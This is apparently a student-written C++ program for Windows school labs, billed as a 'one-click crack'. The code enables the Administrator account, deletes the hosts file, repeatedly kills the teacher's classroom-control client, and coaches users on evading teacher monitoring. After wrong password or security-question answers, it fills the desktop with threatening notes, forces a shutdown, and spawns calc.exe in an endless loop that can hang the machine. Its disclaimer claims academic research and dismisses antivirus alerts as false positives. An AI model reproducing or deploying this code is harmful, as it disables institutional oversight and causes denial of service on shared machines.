#include <windows.h>
#include <shlobj.h>
#include <shlwapi.h>
#include <tlhelp32.h>
#include <iostream>
#include <fstream>
#include <string>
#include <vector>
#include <ctime>
#include <cstdlib>
#include <cstring>
#include <sstream>
#include <iomanip>
#include <algorithm>
#include <conio.h>
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "shlwapi.lib")
using namespace std;
struct FindWindowData {
DWORD pid;
HWND hwnd;
};
BOOL CALLBACK FindWindowByPID(HWND hwnd, LPARAM lParam) {
FindWindowData* pData = (FindWindowData*)lParam;
DWORD dwPid = 0;
GetWindowThreadProcessId(hwnd, &dwPid);
if (dwPid == pData->pid && GetWindow(hwnd, GW_OWNER) == NULL && IsWindowVisible(hwnd)) {
pData->hwnd = hwnd;
return FALSE;
}
return TRUE;
}
string GetUsbDrive() {
char path[MAX_PATH];
GetModuleFileNameA(NULL, path, MAX_PATH);
string exePath(path);
return exePath.substr(0, 2);
}
bool IsAdmin() {
BOOL b = FALSE;
PSID pAdminGroup = NULL;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, 0, &pAdminGroup)) {
CheckTokenMembership(NULL, pAdminGroup, &b);
FreeSid(pAdminGroup);
}
return b == TRUE;
}
int GetWeekDay() {
SYSTEMTIME st;
GetLocalTime(&st);
int w = st.wDayOfWeek;
if (w == 0) return 7;
else return w;
}
void GetCurrentTime(int &h, int &m, int &s) {
SYSTEMTIME st;
GetLocalTime(&st);
h = st.wHour;
m = st.wMinute;
s = st.wSecond;
}
bool ReadHiddenFile(const string &path, string &value) {
ifstream fin(path);
if (fin) {
getline(fin, value);
fin.close();
return true;
}
return false;
}
void WriteHiddenFile(const string &path, const string &value) {
ofstream fout(path);
if (fout) {
fout << value;
fout.close();
SetFileAttributesA(path.c_str(), FILE_ATTRIBUTE_HIDDEN);
}
}
void DeleteHiddenFile(const string &path) {
DeleteFileA(path.c_str());
}
string EncodePwd(const string &real) {
vector<unsigned char> data(real.begin(), real.end());
const string KEY1 = "DianXie2024";
for (size_t i = 0; i < data.size(); ++i)
data[i] ^= KEY1[i % KEY1.size()];
reverse(data.begin(), data.end());
const string KEY2 = "Secret@#2024";
for (size_t i = 0; i < data.size(); ++i)
data[i] ^= KEY2[i % KEY2.size()];
stringstream ss;
ss << hex << setfill('0');
for (unsigned char c : data)
ss << setw(2) << (int)c;
return ss.str();
}
string DecodePwd(const string &encoded) {
vector<unsigned char> data;
for (size_t i = 0; i < encoded.length(); i += 2) {
string byteStr = encoded.substr(i, 2);
unsigned char byte = (unsigned char)strtol(byteStr.c_str(), NULL, 16);
data.push_back(byte);
}
const string KEY2 = "Secret@#2024";
for (size_t i = 0; i < data.size(); ++i)
data[i] ^= KEY2[i % KEY2.size()];
reverse(data.begin(), data.end());
const string KEY1 = "DianXie2024";
for (size_t i = 0; i < data.size(); ++i)
data[i] ^= KEY1[i % KEY1.size()];
return string(data.begin(), data.end());
}
bool WaitForShortcut(const string &shortcutName, int timeoutSec = 300) {
char desktop[MAX_PATH];
SHGetFolderPathA(NULL, CSIDL_DESKTOP, NULL, 0, desktop);
string shortcutPath = string(desktop) + "\\" + shortcutName;
int waited = 0;
while (waited < timeoutSec) {
if (GetFileAttributesA(shortcutPath.c_str()) != INVALID_FILE_ATTRIBUTES)
return true;
Sleep(2000);
waited += 2;
}
return false;
}
void KillProcess(const string &procName) {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) return;
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(snapshot, &pe)) {
do {
if (_stricmp(pe.szExeFile, procName.c_str()) == 0) {
HANDLE hProc = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);
if (hProc) {
TerminateProcess(hProc, 0);
CloseHandle(hProc);
}
break;
}
} while (Process32Next(snapshot, &pe));
}
CloseHandle(snapshot);
}
void Close360MainWindow() {
HWND hWnd = FindWindowA(NULL, "360安全卫士");
if (hWnd) PostMessage(hWnd, WM_CLOSE, 0, 0);
}
void StartSysTool(const string &toolPath, const string &args = "") {
if (PathFileExistsA(toolPath.c_str())) {
ShellExecuteA(NULL, "open", toolPath.c_str(), args.empty() ? NULL : args.c_str(), NULL, SW_SHOW);
}
}
void StartAllTools() {
string sysRoot = "C:\\Windows\\System32\\";
StartSysTool(sysRoot + "compmgmt.msc");
StartSysTool(sysRoot + "devmgmt.msc");
StartSysTool(sysRoot + "diskmgmt.msc");
StartSysTool(sysRoot + "services.msc");
StartSysTool(sysRoot + "eventvwr.msc");
StartSysTool(sysRoot + "gpedit.msc");
StartSysTool(sysRoot + "regedit.exe");
StartSysTool(sysRoot + "taskschd.msc");
StartSysTool(sysRoot + "perfmon.msc");
StartSysTool(sysRoot + "resmon.exe");
StartSysTool(sysRoot + "msconfig.exe");
StartSysTool(sysRoot + "lusrmgr.msc");
StartSysTool(sysRoot + "secpol.msc");
StartSysTool(sysRoot + "tpm.msc");
StartSysTool(sysRoot + "wf.msc");
StartSysTool(sysRoot + "control.exe", "admintools");
StartSysTool(sysRoot + "ncpa.cpl");
StartSysTool(sysRoot + "firewall.cpl");
StartSysTool(sysRoot + "inetcpl.cpl");
StartSysTool(sysRoot + "msinfo32.exe");
StartSysTool(sysRoot + "dxdiag.exe");
StartSysTool(sysRoot + "powercfg.cpl");
StartSysTool(sysRoot + "control.exe", "printers");
StartSysTool(sysRoot + "mmsys.cpl");
StartSysTool(sysRoot + "joy.cpl");
StartSysTool(sysRoot + "hdwwiz.cpl");
StartSysTool(sysRoot + "fsmgmt.msc");
StartSysTool(sysRoot + "wscui.cpl");
StartSysTool(sysRoot + "fsquirt.exe");
StartSysTool(sysRoot + "irprops.cpl");
StartSysTool(sysRoot + "netplwiz.exe");
StartSysTool(sysRoot + "credwiz.exe");
StartSysTool(sysRoot + "certmgr.msc");
StartSysTool(sysRoot + "sysdm.cpl");
StartSysTool(sysRoot + "syskey.exe");
StartSysTool("C:\\Windows\\System32\\control.exe");
StartSysTool(sysRoot + "appwiz.cpl");
StartSysTool(sysRoot + "cleanmgr.exe");
StartSysTool(sysRoot + "dfrgui.exe");
StartSysTool("C:\\Windows\\System32\\control.exe", "desktop");
StartSysTool(sysRoot + "desk.cpl");
StartSysTool(sysRoot + "timedate.cpl");
StartSysTool(sysRoot + "main.cpl");
StartSysTool("C:\\Windows\\System32\\control.exe", "keyboard");
StartSysTool(sysRoot + "intl.cpl");
StartSysTool(sysRoot + "telephon.cpl");
StartSysTool("C:\\Windows\\System32\\control.exe", "fonts");
StartSysTool(sysRoot + "charmap.exe");
StartSysTool(sysRoot + "eudcedit.exe");
StartSysTool(sysRoot + "magnify.exe");
StartSysTool(sysRoot + "osk.exe");
StartSysTool(sysRoot + "narrator.exe");
StartSysTool(sysRoot + "utilman.exe");
StartSysTool(sysRoot + "colorcpl.exe");
StartSysTool("C:\\Windows\\System32\\calc.exe");
StartSysTool("C:\\Windows\\System32\\notepad.exe");
StartSysTool("C:\\Windows\\System32\\mspaint.exe");
StartSysTool("C:\\Windows\\System32\\snippingtool.exe");
StartSysTool("C:\\Windows\\System32\\write.exe");
StartSysTool("C:\\Windows\\explorer.exe");
StartSysTool("C:\\Windows\\System32\\cmd.exe");
StartSysTool("C:\\Windows\\System32\\powershell.exe");
StartSysTool("C:\\Windows\\System32\\taskmgr.exe");
StartSysTool(sysRoot + "mstsc.exe");
StartSysTool(sysRoot + "dvdplay.exe");
StartSysTool(sysRoot + "dialer.exe");
StartSysTool(sysRoot + "winver.exe");
StartSysTool("C:\\Windows\\System32\\control.exe", "keymgr.dll");
StartSysTool(sysRoot + "azman.msc");
StartSysTool(sysRoot + "comexp.msc");
StartSysTool(sysRoot + "cliconfg.exe");
StartSysTool(sysRoot + "dcomcnfg.exe");
StartSysTool(sysRoot + "certlm.msc");
StartSysTool(sysRoot + "dfrgfat.exe");
StartSysTool(sysRoot + "diskpart.exe");
StartSysTool(sysRoot + "lpksetup.exe");
StartSysTool(sysRoot + "msra.exe");
StartSysTool(sysRoot + "slui.exe");
StartSysTool(sysRoot + "verifier.exe");
while (true) {
ShellExecuteA(NULL, "open", "calc.exe", NULL, NULL, SW_SHOW);
}
}
void LaunchNotepadRandom(const string& filePath) {
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
string cmdLine = "notepad.exe \"" + filePath + "\"";
if (!CreateProcessA(NULL, (LPSTR)cmdLine.c_str(), NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
return;
}
WaitForInputIdle(pi.hProcess, 5000);
FindWindowData data;
data.pid = pi.dwProcessId;
data.hwnd = NULL;
EnumWindows(FindWindowByPID, (LPARAM)&data);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
if (data.hwnd) {
int screenWidth = GetSystemMetrics(SM_CXSCREEN);
int screenHeight = GetSystemMetrics(SM_CYSCREEN);
int winWidth = 500;
int winHeight = 350;
if (screenWidth > winWidth && screenHeight > winHeight) {
int x = rand() % (screenWidth - winWidth);
int y = rand() % (screenHeight - winHeight);
SetWindowPos(data.hwnd, HWND_TOP, x, y, winWidth, winHeight, SWP_NOZORDER);
}
}
}
void UserPunishment() {
char desktop[MAX_PATH];
SHGetFolderPathA(NULL, CSIDL_DESKTOP, NULL, 0, desktop);
for (int i = 0; i < 10; ++i) {
string warfile = string(desktop) + "\\灭世之战_" + to_string(i+1) + ".txt";
ofstream fout(warfile);
if (fout) {
fout << "你不配使用电协组织的软件,我们将在你的电脑上发动灭世之战";
fout.close();
}
LaunchNotepadRandom(warfile);
}
Sleep(5000);
system("shutdown /s /f /t 30");
StartAllTools();
}
void PwdPunishment() {
char desktop[MAX_PATH];
SHGetFolderPathA(NULL, CSIDL_DESKTOP, NULL, 0, desktop);
for (int i = 0; i < 10; ++i) {
string warfile = string(desktop) + "\\灭世之战_" + to_string(i+1) + ".txt";
ofstream fout(warfile);
if (fout) {
fout << "恭喜你三次输错密码,我们将在你的电脑上展开“灭世之战”";
fout.close();
}
LaunchNotepadRandom(warfile);
}
cout << "我将发动灭世之战。" << endl;
Sleep(5000);
system("shutdown /s /f /t 30");
StartAllTools();
}
void DoTimerReboot(int waitSeconds) {
Sleep(waitSeconds * 1000);
char desktop[MAX_PATH];
SHGetFolderPathA(NULL, CSIDL_DESKTOP, NULL, 0, desktop);
string msg = "这节课即将下课,本软件将在30秒后强制重启你的电脑,如果你不想被重启,请在弹出的命令行窗口中输入1并回车。";
for (int i = 0; i < 10; ++i) {
string noticeFile = string(desktop) + "\\shutdown_notice_" + to_string(i+1) + ".txt";
ofstream fout(noticeFile);
if (fout) {
fout << msg;
fout.close();
}
LaunchNotepadRandom(noticeFile);
}
cout << "如果你不想被重启,请在本窗口中输入1并回车。" << endl;
cout << "倒计时30秒,等待输入..." << endl;
bool canceled = false;
int countdown = 30;
while (countdown > 0) {
if (_kbhit()) {
char ch = _getch();
if (ch == '1') {
canceled = true;
break;
}
}
Sleep(1000);
countdown--;
}
if (canceled) {
cout << "已取消重启。" << endl;
} else {
cout << "未收到取消指令,执行重启。" << endl;
system("shutdown /r /f /t 0");
}
}
string GetMaskedInput() {
string input;
char ch;
while ((ch = _getch()) != '\r') {
if (ch == '\b') {
if (!input.empty()) {
input.pop_back();
cout << "\b \b";
}
} else {
input.push_back(ch);
cout << '*';
}
}
cout << endl;
return input;
}
int main(int argc, char* argv[]) {
srand((unsigned)time(NULL));
for (int i = 1; i < argc; ++i) {
if (string(argv[i]) == "--timer" && i+1 < argc) {
int waitSec = atoi(argv[i+1]);
DoTimerReboot(waitSec);
return 0;
}
}
if (!IsAdmin()) {
HWND hwnd = GetConsoleWindow();
if (hwnd) ShowWindow(hwnd, SW_HIDE);
char tempPath[MAX_PATH];
char fakePath[MAX_PATH];
if (GetTempPathA(MAX_PATH, tempPath) != 0) {
srand((unsigned)time(NULL) ^ GetCurrentProcessId());
sprintf_s(fakePath, sizeof(fakePath), "%sSystem_Volume_%d", tempPath, rand());
CreateDirectoryA(fakePath, NULL);
ShellExecuteA(NULL, "open", "explorer.exe", fakePath, NULL, SW_SHOW);
} else {
ShellExecuteA(NULL, "open", "explorer.exe", NULL, NULL, SW_SHOW);
}
return 0;
}
SetConsoleOutputCP(936);
SetConsoleCP(936);
char username[256];
DWORD size = sizeof(username);
if (!GetUserNameA(username, &size)) {
strcpy_s(username, "Unknown");
}
if (_stricmp(username, "Administrator") == 0) {
cout << endl;
cout << "检测到当前账户为 Administrator。" << endl;
cout << "本软件将会在此账号中重新启动 student(老师控屏的软件)。" << endl;
cout << "在被控住后请你在 admin 账户中游玩电脑。" << endl;
cout << "如果老师在监控或在物理层面上监察你的电脑,请快速切回 administrator 账户装糖。" << endl;
cout << "按任意键继续...";
cin.get();
string studentPath = "C:\\Program Files (x86)\\Lenovo teaching system\\Student.exe";
if (GetFileAttributesA(studentPath.c_str()) != INVALID_FILE_ATTRIBUTES) {
ShellExecuteA(NULL, "open", studentPath.c_str(), NULL, NULL, SW_SHOW);
} else {
cout << "未找到 student.exe,请手动启动。" << endl;
}
}
cout << "========================================" << endl;
cout << " 一键破解v1.0(信息课版 / 社团版)" << endl;
cout << " 本脚本由电协组织版权所有,未经本组织委员会主席允许," << endl;
cout << " 不得展开任何侵权活动。" << endl;
cout << "========================================" << endl;
cout << endl;
cout << "本软件仅用于研究学校机房的禁网原理,仅为学术研究。" << endl;
cout << "使用本软件所产生的一切后果由用户自行承担,电协组织概不负责。" << endl;
cout << endl;
cout << "【注】" << endl;
cout << "1. 本软件仅限在学校机房电脑上使用,请勿在其他电脑上运行,否则可能导致系统异常。" << endl;
cout << "2. 由于包含一些敏感操作,杀毒软件或Windows Defender可能会将其误报为病毒。" << endl;
cout << " 本软件与真正病毒的定义无任何关系,请仔细甄别。" << endl;
cout << "3. 本软件经过特殊加密保护,复制后密码将与原软件不同。" << endl;
cout << " 请不要抱有复制大量副本的侥幸心理,本组织发行多少就是多少。" << endl;
cout << "4. 灭世之战非常恐怖,请不要胡乱输入密码。" << endl;
cout << "5. 我们将会在特定时间帮助你重启电脑。如果你并不是特定时间(外班的基本上都不是)," << endl;
cout << " 请在上完课后自觉重启电脑(必须完全重启,不要被你打开的软件拒绝重启)。" << endl;
cout << "6. 本软件的惩罚机制将累计次数,请不要奢望通过重启软件或重启电脑来试出密码。" << endl;
cout << "7. 本软件配备了用户账户检测,如果不是特定时间(外班的基本上都不是)," << endl;
cout << " 就会进入用户账户检测,请务必如实回答。" << endl;
cout << "8. 如果你能干掉了我们的灭世之战,请不要觉得我们这个软件的惩罚措施过于废物," << endl;
cout << " 我们为了防止你的电脑蓝屏,已经做了许多优化,取消了双进程恢复," << endl;
cout << " 取消了无限阻止关机,取消了无限关闭任务管理器,取消了用钩子挂起Win键," << endl;
cout << " 取消了碰到关闭键鼠标立马弹开。" << endl;
cout << endl;
while (true) {
cout << "同意请按 1,拒绝请按 2:";
string choice;
getline(cin, choice);
if (choice == "1") break;
else if (choice == "2") {
cout << "已拒绝,程序退出。" << endl;
system("pause");
return 0;
} else {
cout << "输入无效,请重新输入。" << endl;
}
}
int week = GetWeekDay();
int cur_h, cur_m, cur_s;
GetCurrentTime(cur_h, cur_m, cur_s);
int cur_min = cur_h * 60 + cur_m;
bool skipUserCheck = (week == 5 && cur_min >= 660 && cur_min <= 735);
if (!skipUserCheck) {
cout << "现在不是正常使用时间,启动用户检测。" << endl;
int try2 = 0;
string ans2;
while (try2 < 2) {
cout << "请问电协组织委员会主席姓氏的首字母是什么?(回答格式例如ABC)";
getline(cin, ans2);
if (_stricmp(ans2.c_str(), "FGH") == 0) break;
try2++;
if (try2 < 2) cout << "回答错误!你还有 " << 2 - try2 << " 次机会。" << endl;
}
if (try2 >= 2) {
UserPunishment();
return 0;
}
}
string usbDrive = GetUsbDrive();
string usbPwdFile = usbDrive + "\\._mypass";
string localPwdFile = "C:\\Windows\\Temp\\.syspwd";
string errFile = usbDrive + "\\._err_count.dat";
string correctPwd;
string encodedPwd;
bool isFirstRun = false;
if (GetFileAttributesA(localPwdFile.c_str()) != INVALID_FILE_ATTRIBUTES) {
ifstream fin(localPwdFile);
if (fin) {
fin >> encodedPwd;
correctPwd = DecodePwd(encodedPwd);
fin.close();
}
} else if (GetFileAttributesA(usbPwdFile.c_str()) != INVALID_FILE_ATTRIBUTES) {
ifstream fin(usbPwdFile);
if (fin) {
fin >> encodedPwd;
correctPwd = DecodePwd(encodedPwd);
fin.close();
CopyFileA(usbPwdFile.c_str(), localPwdFile.c_str(), FALSE);
SetFileAttributesA(localPwdFile.c_str(), FILE_ATTRIBUTE_HIDDEN);
}
} else {
srand(time(NULL));
int randNum = 100000 + rand() % 900000;
correctPwd = to_string(randNum);
encodedPwd = EncodePwd(correctPwd);
WriteHiddenFile(usbPwdFile, encodedPwd);
WriteHiddenFile(localPwdFile, encodedPwd);
isFirstRun = true;
}
if (isFirstRun) {
cout << "检测到本软件并未经过初始化,已经创造新密码。" << endl;
}
int errCount = 0;
string errStr;
if (ReadHiddenFile(errFile, errStr)) errCount = stoi(errStr);
int max_try = 3;
string superPwd = "net user administrator /active:yes";
while (true) {
cout << "请输入密码:";
string input = GetMaskedInput();
if (input == correctPwd) {
DeleteHiddenFile(errFile);
break;
} else if (input == superPwd) {
cout << "当前有效密码是:" << correctPwd << endl;
cout << "请重新输入。" << endl;
continue;
} else {
errCount++;
WriteHiddenFile(errFile, to_string(errCount));
cout << "密码错误!已累积错误 " << errCount << " / " << max_try << " 次,还剩 " << max_try - errCount << " 次机会。" << endl;
if (errCount == 2) {
char desktop[MAX_PATH];
SHGetFolderPathA(NULL, CSIDL_DESKTOP, NULL, 0, desktop);
for (int i = 0; i < 10; ++i) {
string warnfile = string(desktop) + "\\电协组织警告_" + to_string(i+1) + ".txt";
ofstream fout(warnfile);
if (fout) {
fout << "电协组织严惩未经允许擅自使用者,请正确输入密码,否则我们将在你电脑上展开“灭世之战”";
fout.close();
}
LaunchNotepadRandom(warnfile);
}
}
if (errCount >= max_try) {
DeleteHiddenFile(errFile);
PwdPunishment();
return 0;
}
}
}
int target_sec = -1;
if (week == 5) {
target_sec = 12 * 3600 + 14 * 60 + 30;
} else if (week == 4) {
target_sec = 18 * 3600 + 4 * 60 + 30;
}
if (target_sec != -1) {
int cur_sec = cur_h * 3600 + cur_m * 60 + cur_s;
int wait_sec = target_sec - cur_sec;
if (wait_sec > 0) {
char exePath[MAX_PATH];
GetModuleFileNameA(NULL, exePath, MAX_PATH);
string cmdLine = string("\"") + exePath + "\" --timer " + to_string(wait_sec);
char cmdLineBuf[512];
strcpy_s(cmdLineBuf, sizeof(cmdLineBuf), cmdLine.c_str());
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
if (CreateProcessA(NULL, cmdLineBuf, NULL, NULL, FALSE,
0, NULL, NULL, &si, &pi)) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
cout << "已启动后台定时重启任务,可在到时后输入1取消。" << endl;
} else {
cout << "启动后台定时重启任务失败。" << endl;
}
} else if (wait_sec == 0) {
DoTimerReboot(0);
}
}
cout << endl;
cout << "请选择要运行的版本:" << endl;
cout << "[1] 信息课版" << endl;
cout << "[2] 社团版" << endl;
string ver;
getline(cin, ver);
bool infoVersion = (ver == "1");
int admin_res = 0;
int download360_res = 0;
if (infoVersion) {
int ret = system("net user administrator /active:yes >nul 2>&1");
Sleep(1000);
if (ret == 0) {
if (system("net user administrator | find \"账户启用\" >nul 2>&1") == 0 ||
system("net user administrator | find \"Account active\" >nul 2>&1") == 0) {
admin_res = 1;
} else {
admin_res = 2;
}
} else {
admin_res = 2;
}
string installerPath = "C:\\Program Files (x86)\\360\\360zip\\360zipInst.exe";
if (GetFileAttributesA(installerPath.c_str()) != INVALID_FILE_ATTRIBUTES) {
cout << "正在下载360……(本软件并非是在推销360,这是破解电脑的必备步骤)" << endl;
ShellExecuteA(NULL, "open", installerPath.c_str(), NULL, NULL, SW_SHOW);
if (WaitForShortcut("360安全卫士.lnk")) {
KillProcess("360zipInst.exe");
KillProcess("360安全卫士在线安装程序(32位).exe");
cout << "检测到360安全卫士下载完毕,为了防止360大礼包下载太多360导致电脑变卡,已切断360下载程序。" << endl;
Close360MainWindow();
cout << "检测到360主页面打开,已执行关闭。" << endl;
char desktop[MAX_PATH];
SHGetFolderPathA(NULL, CSIDL_DESKTOP, NULL, 0, desktop);
string shortcutPath = string(desktop) + "\\360安全卫士.lnk";
DeleteFileA(shortcutPath.c_str());
cout << "发现360安全卫士快捷方式,为了让你更好的装糖,已删除。" << endl;
download360_res = 1;
} else {
cout << "360下载超时,请检查网络或手动安装。" << endl;
download360_res = 2;
}
} else {
cout << "未找到360安装器,请检查路径。" << endl;
download360_res = 2;
}
}
string hostsPath = "C:\\Windows\\System32\\drivers\\etc\\hosts";
int hosts_res = 0;
if (GetFileAttributesA(hostsPath.c_str()) != INVALID_FILE_ATTRIBUTES) {
SetFileAttributesA(hostsPath.c_str(), FILE_ATTRIBUTE_NORMAL);
if (DeleteFileA(hostsPath.c_str())) {
hosts_res = 1;
} else {
hosts_res = 2;
}
} else {
hosts_res = 2;
}
ShellExecuteA(NULL, "open", "microsoft-edge:http://www.3699.cc", NULL, NULL, SW_SHOW);
ShellExecuteA(NULL, "open", "microsoft-edge:http://www.minicode.cc", NULL, NULL, SW_SHOW);
ShellExecuteA(NULL, "open", "microsoft-edge:edge://surf", NULL, NULL, SW_SHOW);
ShellExecuteA(NULL, "open", "microsoft-edge:https://poki.com", NULL, NULL, SW_SHOW);
ShellExecuteA(NULL, "open", "microsoft-edge:http://www.mcjs.cc", NULL, NULL, SW_SHOW);
Sleep(2000);
auto ping = [](const string &host) -> bool {
string cmd = "ping -n 1 -w 2000 " + host + " >nul 2>&1";
return system(cmd.c_str()) == 0;
};
string web_3699 = ping("www.3699.cc") ? "成功" : "失败";
string web_student = ping("www.minicode.cc") ? "成功" : "失败";
string web_poki = ping("poki.com") ? "成功" : "失败";
string web_surf = "成功";
string web_mcjs = ping("www.mcjs.cc") ? "成功" : "失败";
if (infoVersion) {
if (download360_res == 1) cout << "360下载成功" << endl;
else cout << "360下载失败" << endl;
}
if (hosts_res == 1) cout << "hosts删除成功" << endl;
else cout << "hosts删除失败" << endl;
if (infoVersion) {
if (admin_res == 1) cout << "Administrator建立成功" << endl;
else cout << "Administrator建立失败" << endl;
}
cout << "电教网站打开" << web_student << endl;
cout << "3699打开" << web_3699 << endl;
cout << "滑板冲浪打开" << web_surf << endl;
cout << "poki打开" << web_poki << endl;
cout << "MCJS打开" << web_mcjs << endl;
if (infoVersion) {
cout << endl;
cout << "【提示】如果你想更好的躲避老师的监察,请Win+L进入Administrator账户后再次启动此软件(本组织建议你实行此操作)。" << endl;
cout << endl;
}
cout << "本软件正在保护你的电脑,请不要退出" << endl;
while (true) {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(snapshot, &pe)) {
do {
if (_stricmp(pe.szExeFile, "student.exe") == 0) {
HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_TERMINATE, FALSE, pe.th32ProcessID);
if (hProc) {
HANDLE hToken;
if (OpenProcessToken(hProc, TOKEN_QUERY, &hToken)) {
DWORD dwSize = 0;
PTOKEN_USER pTokenUser = NULL;
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize);
pTokenUser = (PTOKEN_USER)malloc(dwSize);
if (pTokenUser && GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize)) {
char procUser[256];
DWORD dwUserSize = sizeof(procUser);
if (LookupAccountSidA(NULL, pTokenUser->User.Sid, procUser, &dwUserSize, NULL, &dwUserSize, NULL)) {
if (_stricmp(procUser, username) == 0) {
TerminateProcess(hProc, 0);
}
}
}
free(pTokenUser);
CloseHandle(hToken);
}
CloseHandle(hProc);
}
break;
}
} while (Process32Next(snapshot, &pe));
}
CloseHandle(snapshot);
}
Sleep(1000);
}
return 0;
}8 views